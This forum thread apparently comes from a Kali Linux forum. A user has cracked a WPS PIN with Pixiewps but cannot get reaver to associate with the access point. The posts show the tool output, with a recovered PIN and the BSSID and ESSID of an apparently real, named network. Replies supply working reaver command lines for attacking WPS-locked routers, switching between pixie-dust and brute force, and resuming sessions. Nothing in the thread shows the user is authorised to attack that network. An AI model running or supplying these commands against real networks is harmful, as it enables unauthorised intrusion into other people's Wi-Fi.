Results 1 to 4 of 4

Thread: any idea as why im not able to associate after i get the wps pin?

  1. #1
    Join Date
    2015-Oct
    Location
    texas
    Posts
    6

    any idea as why im not able to associate after i get the wps pin?

    any idea as why it would do this after i crack the pin?


    [Pixie-Dust]
    [Pixie-Dust] Pixiewps 1.1
    [Pixie-Dust]
    [Pixie-Dust][*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
    [Pixie-Dust][*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
    [Pixie-Dust] [+] WPS pin: 67047093
    [Pixie-Dust]
    [Pixie-Dust][*] Time taken: 0 s
    [Pixie-Dust]
    Running reaver with the correct pin, wait ...
    Cmd : reaver -i wlan0mon -b 90:1A:CA1:B8:80 -c 0 -s y -vv -p 67047093

    [Reaver Test] BSSID: 90:1A:CA1:B8:80
    [Reaver Test] Channel: 0
    ^C
    [+] Nothing done, nothing to save.
    root@kali:~# reaver -i wlan0mon -b 90:1A:CA1:B8:80 -c 0 -s y -vvv -p 67047093

    Reaver v1.5.2 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    mod by t6_x <[email protected]> & DataHead & Soxrok2212

    [+] Waiting for beacon from 90:1A:CA1:B8:80
    [!] WARNING: Failed to associate with 90:1A:CA1:B8:80 (ESSID: Whiteside)
    [!] WARNING: Failed to associate with 90:1A:CA1:B8:80 (ESSID: Whiteside)

  2. #2
    Join Date
    2015-Aug
    Location
    The Pits
    Posts
    87
    I've seen that before, where Pixie fed reaver the wrong channel. At least Pixie Dust gave you the pin, now once your wlan0mon is enabled just do this yourself:
    sudo reaver -i wlan0mon -b 11:22:33:44:55:66 -c 1 -vv -p 67047093

  3. #3
    Join Date
    2013-Jul
    Posts
    844
    The author of autoreaver noted in the bash script comments that he/she had good results from the following reaver command line

    reaver -i mon0 -a -f -c -b -L -S -E -vvv -N -T 1 -t 20 -d 0 -x 30

    MTeams has duplicated these findings and uses this command line against WPS locked routers.

    If you want to use Pixie dust remove the -S

    If pixiedust doesnot work add the -S --dhsmall

    Jumping between using --dhsmall and and not using --dhsmall confuses reaver pin counts. It is best to use the --session command at the beginning when you are checking to see if pixiedust works or if you have the WPS pin. You can remove the session command if you have to bruteforce all 11,000 pins.

    MTeams

  4. #4
    Join Date
    2015-Aug
    Location
    The Pits
    Posts
    87
    Hello mmusket33, first of all, I consider you to be the most helpful and wisest nic I've ever known. So may I ask, will adding the -N switch mess me up in low RX strength/or highly congested wifi areas? due to reaver just continuing to the next pin after a receive timeout or other glitch occurs?

Similar Threads

  1. Kernel builder Idea ?
    By elrapid0 in forum Building NetHunter
    Replies: 2
    Last Post: 2020-04-25, 17:41
  2. Trying to port to new device...No idea what im doing
    By 11552 in forum Building NetHunter
    Replies: 3
    Last Post: 2015-02-20, 16:13
  3. PostgreSQL error, any idea what i could try?
    By HDD2 in forum ARM Archive
    Replies: 3
    Last Post: 2014-07-06, 17:02

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •